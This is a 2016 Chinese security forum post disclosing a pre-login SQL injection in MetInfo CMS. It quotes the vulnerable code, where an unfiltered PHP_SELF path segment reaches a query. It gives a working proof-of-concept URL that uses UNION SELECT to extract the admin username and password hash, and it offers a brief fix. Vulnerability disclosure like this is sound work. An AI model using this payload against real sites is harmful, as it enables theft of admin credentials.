HanDs
管理员

[7月漏洞公开] Metinfo 最新版 前台无需登录注入一枚(直接出任意数据) 



直接出数据~

详细说明:

system\include\compatible\metv5_top.php中



code 区域
//获取当前应用栏目信息

$PHP_SELF = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$PHP_SELFs = explode('/', $PHP_SELF);

$query = "SELECT * FROM {$_M['table'][column]} where module!=0 and foldername = '{$PHP_SELFs[count($PHP_SELFs)-2]}' and lang='{$_M['lang']}'";

$column = DB::get_one($query);





全局并没有过滤SERVER 但是PHP_SELF 其实是可以控制那么一小部分的。。

$PHP_SELFs = explode('/', $PHP_SELF); 这里又切割成数组。



$PHP_SELFs[count($PHP_SELFs)-2] 把这个带入了查询



访问/member/login.php的时候 就会调用这个文件。









漏洞证明:

直接访问

http://localhost/metinfo/member/login.php/aa'UNION SELECT (select concat(admin_id,0x23,admin_pass) from met_admin_table limit 1),11113,11111,11111,11111,11111,11111,11111,11111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111,1111111111%23/aa



7.png

修复方案:

别用php_self了。



就用 $_SERVER['SCRIPT_NAME'] 把 这个好像是用户不能任意控制了的把? 不太清楚 你们自己研究下。


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
Metinfo 最新版 前台无需登录注入一枚 ( 直接出任意数据 )
#1楼
发帖时间:2016-7-11   |   查看数:0   |   回复数:0
游客组
快速回复